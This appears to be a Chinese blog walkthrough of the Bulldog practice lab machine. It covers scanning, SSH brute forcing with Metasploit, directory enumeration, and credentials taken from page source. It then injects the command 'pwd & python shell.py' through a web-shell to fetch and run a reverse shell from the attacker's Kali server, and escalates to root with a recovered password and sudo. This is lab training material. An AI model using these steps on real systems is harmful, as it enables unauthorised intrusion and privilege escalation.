靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权

1.主机发现

方法一:netdiscover命令

netdiscover -i eth0 -r 192.168.109.0/24         主动,不扫描本机IP地址

netdiscover -p                                                被动,不容易被发现,只能扫到有交互的

 -i 指定网卡 -r 指定网段

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第1张图片

方法二:nmap命令

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第2张图片

2.端口扫描

masscan kali下的工具(速度快,容易漏IP,一次没扫到,多扫几遍)

masscan --rate=10000 --ports 0-65535 192.168.109.151

--rate发包数(发包数默认为100个)   --ports指定端口数

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第3张图片

nmap -T4 -sV -O -p 8080,80,23 192.168.109.151            //nmap扫出详细信息

-T4:速度    -sV:版本扫描和开启的服务  -O:操作系统

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第4张图片

3.信息收集分析

ssh服务端口开放,尝试检索:打开msfconsole

可以联想到进行ssh爆破,搜索ssh_login

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第5张图片

发现辅助模块扫描ssh登录和ssh公钥登录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第6张图片

set rhosts 192.168.109.151(目标IP地址)

set user_file /root/user.txt   #提前在根目录下写好

set pass_file /root/pass.txt

show missing(查看是否漏掉设置)

exploit(相当于run)

可利用脏牛提权

发现http服务,进行IP地址访问,找跳转点

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第7张图片

查看指纹信息

用默认字典探测目录

dpkg -L dirb   //查找字典

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第8张图片

dirb  http://192.168.109.151      (扫描网站目录,默认使用普通字典) 

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第9张图片

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第10张图片

4.访问收集到的网站目录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第11张图片       靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第12张图片

尝试弱口令、抓包暴力破解没有什么效果,接下来访问另一个网站目录看看

发现依旧需要身份验证才能使用web-shell,进入它的上一级目录看看

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第13张图片

发现了一些邮箱信息,F12看看详细信息

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第14张图片

用户名:nick                      密码:bulldog

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第15张图片

用户名:sarah      密码:bulldoglover

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第16张图片

未能解密的用户,因为出了如下状况

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第17张图片

此时,得到了两个用户名和密码信息,尝试身份验证登录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第18张图片   靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第19张图片

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第20张图片

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第21张图片

登录后,此时再次访问web-shell

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第22张图片

执行命令如下:查看当前路径的目录文件

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第23张图片

5.get shell 并提权

用python脚本去远程连接弹出shell进行提权(前面已经注意到网页是用到python的,所以此处用py脚本试试)

在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务

注:web服务在/var/www/html目录下开启,当然也可以直接开启Apache服务 /etc/init.d/apache2 start;利用命令注入漏洞,在测试机Kali上写一个shell.py脚本,并将其上传到靶机上,使其执行,从而获得一个反弹shell

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第24张图片

其中,p=subprocess.call([“/bin/bash”,”-i”])      //连接打开交互式shell(/bin/bash)

上传

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第25张图片

上传后可以看到上传成功

如果出现报错如下:

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第26张图片

开启Apache服务务必在/var/www/html下开启才能成功,如果还报错,查看端口netstat -pantu 并 kill 80端口

在靶机上查看

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第27张图片

不要关闭:python -m SimpleHTTPServer 80

重新打开一个窗口进行端口监听,然后在页面执行命令 'pwd & python shell.py',即可成功获得shell。

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第28张图片

如果这里执行失败返回500,并且监听不到,那就是脚本有问题(大多数出现在中英文标点符号错误),修改后重新上传执行

查看监听,getshell成功

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第29张图片

查看一些重要信息:cat /etc/passwd,有用户:bulldogadmin、django

之前访问页面执行命令pwd,知道了home路径,查看一下

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第30张图片

查看当前目录下的所有文件的详细信息,发现一个隐藏目录 .hiddenadmindirectory //管理员隐藏目录

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第31张图片

存在两个文件,一个可执行文件,一个note提示

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第32张图片

strings 查看可执行文件中的字符(此处用cat查看不了,因为它是程序字符串,显示出来是乱码)

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第33张图片

疑似密码:SUPERultimatePASSWORDyouCANTget

输入su root ,提示要运行一个终端

输入下面python -c 'import pty; pty.spawn("/bin/bash")'  运行终端,提示没有权限

再次执行sudo python -c 'import pty; pty.spawn("/bin/bash")'

靶机Bulldog练习:通过python脚本远程连接弹出shell进行提权_第34张图片

至此,提权成功

你可能感兴趣的:(渗透学习,靶机练习)